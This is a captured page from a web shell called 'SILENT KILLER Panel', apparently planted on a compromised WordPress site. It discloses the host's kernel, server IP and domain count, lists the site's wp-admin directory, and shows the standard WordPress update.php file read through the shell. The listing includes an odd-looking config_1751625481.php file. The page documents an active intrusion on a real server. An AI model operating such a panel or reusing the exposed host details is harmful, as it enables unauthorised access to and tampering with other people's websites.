SILENT KILLERPanel

Current Path: > home > transcarter > public_html > > wp-admin


Operation   : Linux host59.registrar-servers.com 4.18.0-513.18.1.lve.2.el8.x86_64 #1 SMP Sat Mar 30 15:36:11 UTC 2024 x86_64
Software     : Apache
Server IP    : 198.54.126.42 | Your IP: 216.73.216.135
Domains      : 1034 Domain(s)
Permission   : [ 0755 ]

Files and Folders in: /home/transcarter/public_html//wp-admin

NameTypeSizeLast ModifiedActions
css Directory - -
images Directory - -
includes Directory - -
js Directory - -
maint Directory - -
network Directory - -
user Directory - -
about.php File 17586 bytes August 06 2025 04:48:37.
admin-ajax.php File 5146 bytes July 09 2024 14:43:14.
admin-footer.php File 2823 bytes June 01 2021 10:30:58.
admin-functions.php File 406 bytes February 06 2020 06:33:12.
admin-header.php File 9078 bytes June 15 2024 11:34:14.
admin-post.php File 2070 bytes May 01 2024 17:01:12.
admin.php File 12559 bytes June 14 2023 13:08:18.
async-upload.php File 4827 bytes June 02 2024 07:37:10.
authorize-application.php File 10335 bytes September 13 2023 23:54:20.
comment.php File 11622 bytes May 01 2024 17:01:12.
config_1751625481.php File 2599 bytes July 04 2025 10:38:06.
contribute.php File 5727 bytes February 26 2024 23:51:12.
credits.php File 3841 bytes February 26 2024 23:51:12.
custom-background.php File 416 bytes February 06 2020 06:33:12.
custom-header.php File 426 bytes February 06 2020 06:33:12.
customize.php File 11126 bytes September 03 2024 15:41:14.
edit-comments.php File 14726 bytes September 17 2023 14:33:18.
edit-form-advanced.php File 29424 bytes June 15 2024 11:34:14.
edit-form-blocks.php File 12344 bytes July 09 2024 14:59:16.
edit-form-comment.php File 8544 bytes February 07 2023 17:10:22.
edit-link-form.php File 6362 bytes September 14 2023 01:15:18.
edit-tag-form.php File 10676 bytes May 01 2024 17:01:12.
edit-tags.php File 22455 bytes June 15 2024 11:34:14.
edit.php File 19947 bytes June 15 2024 11:34:14.
erase-personal-data.php File 7505 bytes April 17 2024 19:21:16.
error_log File 73389 bytes August 07 2025 11:04:27.
export-personal-data.php File 7941 bytes April 17 2024 19:21:16.
export.php File 11288 bytes May 26 2024 19:51:14.
freedoms.php File 4604 bytes February 26 2024 23:51:12.
import.php File 7657 bytes February 26 2024 20:35:08.
index.php File 7864 bytes September 13 2023 23:54:20.
install-helper.php File 6961 bytes November 20 2022 14:10:16.
install.php File 17490 bytes January 15 2024 18:57:14.
link-add.php File 938 bytes May 01 2024 17:01:12.
link-manager.php File 4365 bytes September 14 2023 01:15:18.
link-parse-opml.php File 2697 bytes June 13 2024 19:50:14.
link.php File 2957 bytes May 01 2024 17:01:12.
load-scripts.php File 2271 bytes April 07 2024 22:53:20.
load-styles.php File 3194 bytes April 07 2024 22:53:20.
media-new.php File 3261 bytes February 23 2023 10:38:22.
media-upload.php File 3569 bytes September 07 2023 13:59:22.
media.php File 819 bytes May 01 2024 17:01:12.
menu-header-info.php File 373 bytes February 06 2020 06:33:12.
menu-header.php File 10069 bytes June 20 2024 18:41:16.
menu.php File 17068 bytes June 02 2024 07:17:18.
moderation.php File 307 bytes February 06 2020 06:33:12.
ms-admin.php File 196 bytes February 06 2020 06:33:12.
ms-delete-site.php File 4287 bytes November 14 2022 21:57:10.
ms-edit.php File 216 bytes February 06 2020 06:33:12.
ms-options.php File 229 bytes June 22 2024 10:47:16.
ms-sites.php File 215 bytes February 06 2020 06:33:12.
ms-themes.php File 217 bytes February 06 2020 06:33:12.
ms-upgrade-network.php File 219 bytes February 06 2020 06:33:12.
ms-users.php File 215 bytes February 06 2020 06:33:12.
my-sites.php File 4858 bytes September 05 2023 18:26:26.
nav-menus.php File 49158 bytes June 03 2024 19:35:14.
network.php File 5522 bytes March 08 2024 22:38:08.
options-discussion.php File 15951 bytes February 23 2023 10:38:22.
options-general.php File 21241 bytes March 14 2024 13:27:14.
options-head.php File 548 bytes May 01 2024 17:01:12.
options-media.php File 6505 bytes February 23 2023 10:38:22.
options-permalink.php File 21718 bytes March 08 2024 22:38:08.
options-privacy.php File 10190 bytes January 16 2024 17:31:14.
options-reading.php File 10266 bytes May 14 2024 17:05:12.
options-writing.php File 9317 bytes March 08 2024 22:38:08.
options.php File 13862 bytes June 17 2024 17:03:14.
plugin-editor.php File 13737 bytes March 19 2024 13:46:16.
plugin-install.php File 7124 bytes February 20 2024 07:27:06.
plugins.php File 29827 bytes May 14 2024 15:49:10.
post-new.php File 2768 bytes June 15 2024 11:34:14.
post.php File 10209 bytes June 15 2024 11:34:14.
press-this.php File 2396 bytes February 26 2024 20:35:08.
privacy-policy-guide.php File 3756 bytes November 22 2023 17:44:24.
privacy.php File 2542 bytes February 26 2024 23:51:12.
profile.php File 283 bytes February 06 2020 06:33:12.
revision.php File 5851 bytes May 01 2024 17:01:12.
setup-config.php File 17884 bytes April 04 2024 14:13:14.
site-editor.php File 6412 bytes February 06 2024 19:42:14.
site-health-beta.php File 373 bytes February 06 2020 06:33:12.
site-health-info.php File 4084 bytes June 03 2024 15:56:16.
site-health.php File 10443 bytes May 01 2024 17:01:12.
term.php File 2249 bytes June 01 2022 17:14:10.
theme-editor-database.php File 1079 bytes February 06 2020 06:33:12.
theme-editor.php File 15792 bytes May 01 2024 17:01:12.
theme-install.php File 23903 bytes June 13 2024 12:57:10.
themes.php File 48083 bytes June 13 2024 14:06:08.
tools.php File 3514 bytes February 23 2023 10:38:22.
update-core.php File 46513 bytes March 08 2024 22:38:08.
update.php File 13092 bytes January 30 2024 14:23:12.
upgrade-functions.php File 341 bytes February 06 2020 06:33:12.
upgrade.php File 5688 bytes August 25 2023 04:44:16.
upload.php File 15207 bytes March 09 2024 18:07:16.
user-edit.php File 40216 bytes June 02 2024 08:55:10.
user-new.php File 24558 bytes January 12 2024 17:14:14.
users.php File 23853 bytes June 25 2024 12:54:14.
widgets-form-blocks.php File 4500 bytes September 24 2023 23:00:18.
widgets-form.php File 19625 bytes January 16 2024 17:31:14.
widgets.php File 1112 bytes March 22 2022 18:59:04.

Reading File: /home/transcarter/public_html//wp-admin/update.php

<?php
/**
 * Update/Install Plugin/Theme administration panel.
 *
 * @package WordPress
 * @subpackage Administration
 */

if ( ! defined( 'IFRAME_REQUEST' )
	&& isset( $_GET['action'] ) && in_array( $_GET['action'], array( 'update-selected', 'activate-plugin', 'update-selected-themes' ), true )
) {
	define( 'IFRAME_REQUEST', true );
}

/** WordPress Administration Bootstrap */
require_once __DIR__ . '/admin.php';

require_once ABSPATH . 'wp-admin/includes/class-wp-upgrader.php';

wp_enqueue_script( 'wp-a11y' );

if ( isset( $_GET['action'] ) ) {
	$plugin = isset( $_REQUEST['plugin'] ) ? trim( $_REQUEST['plugin'] ) : '';
	$theme  = isset( $_REQUEST['theme'] ) ? urldecode( $_REQUEST['theme'] ) : '';
	$action = isset( $_REQUEST['action'] ) ? $_REQUEST['action'] : '';

	if ( 'update-selected' === $action ) {
		if ( ! current_user_can( 'update_plugins' ) ) {
			wp_die( __( 'Sorry, you are not allowed to update plugins for this site.' ) );
		}

		check_admin_referer( 'bulk-update-plugins' );

		if ( isset( $_GET['plugins'] ) ) {
			$plugins = explode( ',', stripslashes( $_GET['plugins'] ) );
		} elseif ( isset( $_POST['checked'] ) ) {
			$plugins = (array) $_POST['checked'];
		} else {
			$plugins = array();
		}

		$plugins = array_map( 'urldecode', $plugins );

		$url   = 'update.php?action=update-selected&amp;plugins=' . urlencode( implode( ',', $plugins ) );
		$nonce = 'bulk-update-plugins';

		wp_enqueue_script( 'updates' );
		iframe_header();

		$upgrader = new Plugin_Upgrader( new Bulk_Plugin_Upgrader_Skin( compact( 'nonce', 'url' ) ) );
		$upgrader->bulk_upgrade( $plugins );

		iframe_footer();

	} elseif ( 'upgrade-plugin' === $action ) {
		if ( ! current_user_can( 'update_plugins' ) ) {
			wp_die( __( 'Sorry, you are not allowed to update plugins for this site.' ) );
		}

		check_admin_referer( 'upgrade-plugin_' . $plugin );

		// Used in the HTML title tag.
		$title        = __( 'Update Plugin' );
		$parent_file  = 'plugins.php';
		$submenu_file = 'plugins.php';

		wp_enqueue_script( 'updates' );
		require_once ABSPATH . 'wp-admin/admin-header.php';

		$nonce = 'upgrade-plugin_' . $plugin;
		$url   = 'update.php?action=upgrade-plugin&plugin=' . urlencode( $plugin );

		$upgrader = new Plugin_Upgrader( new Plugin_Upgrader_Skin( compact( 'title', 'nonce', 'url', 'plugin' ) ) );
		$upgrader->upgrade( $plugin );

		require_once ABSPATH . 'wp-admin/admin-footer.php';

	} elseif ( 'activate-plugin' === $action ) {
		if ( ! current_user_can( 'update_plugins' ) ) {
			wp_die( __( 'Sorry, you are not allowed to update plugins for this site.' ) );
		}

		check_admin_referer( 'activate-plugin_' . $plugin );
		if ( ! isset( $_GET['failure'] ) && ! isset( $_GET['success'] ) ) {
			wp_redirect( admin_url( 'update.php?action=activate-plugin&failure=true&plugin=' . urlencode( $plugin ) . '&_wpnonce=' . $_GET['_wpnonce'] ) );
			activate_plugin( $plugin, '', ! empty( $_GET['networkwide'] ), true );
			wp_redirect( admin_url( 'update.php?action=activate-plugin&success=true&plugin=' . urlencode( $plugin ) . '&_wpnonce=' . $_GET['_wpnonce'] ) );
			die();
		}
		iframe_header( __( 'Plugin Reactivation' ), true );
		if ( isset( $_GET['success'] ) ) {
			echo '<p>' . __( 'Plugin reactivated successfully.' ) . '</p>';
		}

		if ( isset( $_GET['failure'] ) ) {
			echo '<p>' . __( 'Plugin failed to reactivate due to a fatal error.' ) . '</p>';

			error_reporting( E_CORE_ERROR | E_CORE_WARNING | E_COMPILE_ERROR | E_ERROR | E_WARNING | E_PARSE | E_USER_ERROR | E_USER_WARNING | E_RECOVERABLE_ERROR );
			ini_set( 'display_errors', true ); // Ensure that fatal errors are displayed.
			wp_register_plugin_realpath( WP_PLUGIN_DIR . '/' . $plugin );
			include WP_PLUGIN_DIR . '/' . $plugin;
		}
		iframe_footer();
	} elseif ( 'install-plugin' === $action ) {

		if ( ! current_user_can( 'install_plugins' ) ) {
			wp_die( __( 'Sorry, you are not allowed to install plugins on this site.' ) );
		}

		require_once ABSPATH . 'wp-admin/includes/plugin-install.php'; // For plugins_api().

		check_admin_referer( 'install-plugin_' . $plugin );
		$api = plugins_api(
			'plugin_information',
			array(
				'slug'   => $plugin,
				'fields' => array(
					'sections' => false,
				),
			)
		);

		if ( is_wp_error( $api ) ) {
			wp_die( $api );
		}

		// Used in the HTML title tag.
		$title        = __( 'Plugin Installation' );
		$parent_file  = 'plugins.php';
		$submenu_file = 'plugin-install.php';

		require_once ABSPATH . 'wp-admin/admin-header.php';

		/* translators: %s: Plugin name and version. */
		$title = sprintf( __( 'Installing Plugin: %s' ), $api->name . ' ' . $api->version );
		$nonce = 'install-plugin_' . $plugin;
		$url   = 'update.php?action=install-plugin&plugin=' . urlencode( $plugin );
		if ( isset( $_GET['from'] ) ) {
			$url .= '&from=' . urlencode( stripslashes( $_GET['from'] ) );
		}

		$type = 'web'; // Install plugin type, From Web or an Upload.

		$upgrader = new Plugin_Upgrader( new Plugin_Installer_Skin( compact( 'title', 'url', 'nonce', 'plugin', 'api' ) ) );
		$upgrader->install( $api->download_link );

		require_once ABSPATH . 'wp-admin/admin-footer.php';

	} elseif ( 'upload-plugin' === $action ) {

		if ( ! current_user_can( 'upload_plugins' ) ) {
			wp_die( __( 'Sorry, you are not allowed to install plugins on this site.' ) );
		}

		check_admin_referer( 'plugin-upload' );

		if ( isset( $_FILES['pluginzip']['name'] ) && ! str_ends_with( strtolower( $_FILES['pluginzip']['name'] ), '.zip' ) ) {
			wp_die( __( 'Only .zip archives may be uploaded.' ) );
		}

		$file_upload = new File_Upload_Upgrader( 'pluginzip', 'package' );

		// Used in the HTML title tag.
		$title        = __( 'Upload Plugin' );
		$parent_file  = 'plugins.php';
		$submenu_file = 'plugin-install.php';

		require_once ABSPATH . 'wp-admin/admin-header.php';

		/* translators: %s: File name. */
		$title = sprintf( __( 'Installing plugin from uploaded file: %s' ), esc_html( basename( $file_upload->filename ) ) );
		$nonce = 'plugin-upload';
		$url   = add_query_arg( array( 'package' => $file_upload->id ), 'update.php?action=upload-plugin' );
		$type  = 'upload'; // Install plugin type, From Web or an Upload.

		$overwrite = isset( $_GET['overwrite'] ) ? sanitize_text_field( $_GET['overwrite'] ) : '';
		$overwrite = in_array( $overwrite, array( 'update-plugin', 'downgrade-plugin' ), true ) ? $overwrite : '';

		$upgrader = new Plugin_Upgrader( new Plugin_Installer_Skin( compact( 'type', 'title', 'nonce', 'url', 'overwrite' ) ) );
		$result   = $upgrader->install( $file_upload->package, array( 'overwrite_package' => $overwrite ) );

		if ( $result || is_wp_error( $result ) ) {
			$file_upload->cleanup();
		}

		require_once ABSPATH . 'wp-admin/admin-footer.php';

	} elseif ( 'upload-plugin-cancel-overwrite' === $action ) {
		if ( ! current_user_can( 'upload_plugins' ) ) {
			wp_die( __( 'Sorry, you are not allowed to install plugins on this site.' ) );
		}

		check_admin_referer( 'plugin-upload-cancel-overwrite' );

		// Make sure the attachment still exists, or File_Upload_Upgrader will call wp_die()
		// that shows a generic "Please select a file" error.
		if ( ! empty( $_GET['package'] ) ) {
			$attachment_id = (int) $_GET['package'];

			if ( get_post( $attachment_id ) ) {
				$file_upload = new File_Upload_Upgrader( 'pluginzip', 'package' );
				$file_upload->cleanup();
			}
		}

		wp_redirect( self_admin_url( 'plugin-install.php' ) );
		exit;
	} elseif ( 'upgrade-theme' === $action ) {

		if ( ! current_user_can( 'update_themes' ) ) {
			wp_die( __( 'Sorry, you are not allowed to update themes for this site.' ) );
		}

		check_admin_referer( 'upgrade-theme_' . $theme );

		wp_enqueue_script( 'updates' );

		// Used in the HTML title tag.
		$title        = __( 'Update Theme' );
		$parent_file  = 'themes.php';
		$submenu_file = 'themes.php';

		require_once ABSPATH . 'wp-admin/admin-header.php';

		$nonce = 'upgrade-theme_' . $theme;
		$url   = 'update.php?action=upgrade-theme&theme=' . urlencode( $theme );

		$upgrader = new Theme_Upgrader( new Theme_Upgrader_Skin( compact( 'title', 'nonce', 'url', 'theme' ) ) );
		$upgrader->upgrade( $theme );

		require_once ABSPATH . 'wp-admin/admin-footer.php';
	} elseif ( 'update-selected-themes' === $action ) {
		if ( ! current_user_can( 'update_themes' ) ) {
			wp_die( __( 'Sorry, you are not allowed to update themes for this site.' ) );
		}

		check_admin_referer( 'bulk-update-themes' );

		if ( isset( $_GET['themes'] ) ) {
			$themes = explode( ',', stripslashes( $_GET['themes'] ) );
		} elseif ( isset( $_POST['checked'] ) ) {
			$themes = (array) $_POST['checked'];
		} else {
			$themes = array();
		}

		$themes = array_map( 'urldecode', $themes );

		$url   = 'update.php?action=update-selected-themes&amp;themes=' . urlencode( implode( ',', $themes ) );
		$nonce = 'bulk-update-themes';

		wp_enqueue_script( 'updates' );
		iframe_header();

		$upgrader = new Theme_Upgrader( new Bulk_Theme_Upgrader_Skin( compact( 'nonce', 'url' ) ) );
		$upgrader->bulk_upgrade( $themes );

		iframe_footer();
	} elseif ( 'install-theme' === $action ) {

		if ( ! current_user_can( 'install_themes' ) ) {
			wp_die( __( 'Sorry, you are not allowed to install themes on this site.' ) );
		}

		require_once ABSPATH . 'wp-admin/includes/class-wp-upgrader.php'; // For themes_api().

		check_admin_referer( 'install-theme_' . $theme );
		$api = themes_api(
			'theme_information',
			array(
				'slug'   => $theme,
				'fields' => array(
					'sections' => false,
					'tags'     => false,
				),
			)
		); // Save on a bit of bandwidth.

		if ( is_wp_error( $api ) ) {
			wp_die( $api );
		}

		// Used in the HTML title tag.
		$title        = __( 'Install Themes' );
		$parent_file  = 'themes.php';
		$submenu_file = 'themes.php';

		require_once ABSPATH . 'wp-admin/admin-header.php';

		/* translators: %s: Theme name and version. */
		$title = sprintf( __( 'Installing Theme: %s' ), $api->name . ' ' . $api->version );
		$nonce = 'install-theme_' . $theme;
		$url   = 'update.php?action=install-theme&theme=' . urlencode( $theme );
		$type  = 'web'; // Install theme type, From Web or an Upload.

		$upgrader = new Theme_Upgrader( new Theme_Installer_Skin( compact( 'title', 'url', 'nonce', 'plugin', 'api' ) ) );
		$upgrader->install( $api->download_link );

		require_once ABSPATH . 'wp-admin/admin-footer.php';

	} elseif ( 'upload-theme' === $action ) {

		if ( ! current_user_can( 'upload_themes' ) ) {
			wp_die( __( 'Sorry, you are not allowed to install themes on this site.' ) );
		}

		check_admin_referer( 'theme-upload' );

		if ( isset( $_FILES['themezip']['name'] ) && ! str_ends_with( strtolower( $_FILES['themezip']['name'] ), '.zip' ) ) {
			wp_die( __( 'Only .zip archives may be uploaded.' ) );
		}

		$file_upload = new File_Upload_Upgrader( 'themezip', 'package' );

		// Used in the HTML title tag.
		$title        = __( 'Upload Theme' );
		$parent_file  = 'themes.php';
		$submenu_file = 'theme-install.php';

		require_once ABSPATH . 'wp-admin/admin-header.php';

		/* translators: %s: File name. */
		$title = sprintf( __( 'Installing theme from uploaded file: %s' ), esc_html( basename( $file_upload->filename ) ) );
		$nonce = 'theme-upload';
		$url   = add_query_arg( array( 'package' => $file_upload->id ), 'update.php?action=upload-theme' );
		$type  = 'upload'; // Install theme type, From Web or an Upload.

		$overwrite = isset( $_GET['overwrite'] ) ? sanitize_text_field( $_GET['overwrite'] ) : '';
		$overwrite = in_array( $overwrite, array( 'update-theme', 'downgrade-theme' ), true ) ? $overwrite : '';

		$upgrader = new Theme_Upgrader( new Theme_Installer_Skin( compact( 'type', 'title', 'nonce', 'url', 'overwrite' ) ) );
		$result   = $upgrader->install( $file_upload->package, array( 'overwrite_package' => $overwrite ) );

		if ( $result || is_wp_error( $result ) ) {
			$file_upload->cleanup();
		}

		require_once ABSPATH . 'wp-admin/admin-footer.php';

	} elseif ( 'upload-theme-cancel-overwrite' === $action ) {
		if ( ! current_user_can( 'upload_themes' ) ) {
			wp_die( __( 'Sorry, you are not allowed to install themes on this site.' ) );
		}

		check_admin_referer( 'theme-upload-cancel-overwrite' );

		// Make sure the attachment still exists, or File_Upload_Upgrader will call wp_die()
		// that shows a generic "Please select a file" error.
		if ( ! empty( $_GET['package'] ) ) {
			$attachment_id = (int) $_GET['package'];

			if ( get_post( $attachment_id ) ) {
				$file_upload = new File_Upload_Upgrader( 'themezip', 'package' );
				$file_upload->cleanup();
			}
		}

		wp_redirect( self_admin_url( 'theme-install.php' ) );
		exit;
	} else {
		/**
		 * Fires when a custom plugin or theme update request is received.
		 *
		 * The dynamic portion of the hook name, `$action`, refers to the action
		 * provided in the request for wp-admin/update.php. Can be used to
		 * provide custom update functionality for themes and plugins.
		 *
		 * @since 2.8.0
		 */
		do_action( "update-custom_{$action}" ); // phpcs:ignore WordPress.NamingConventions.ValidHookName.UseUnderscores
	}
}

SILENT KILLER Tool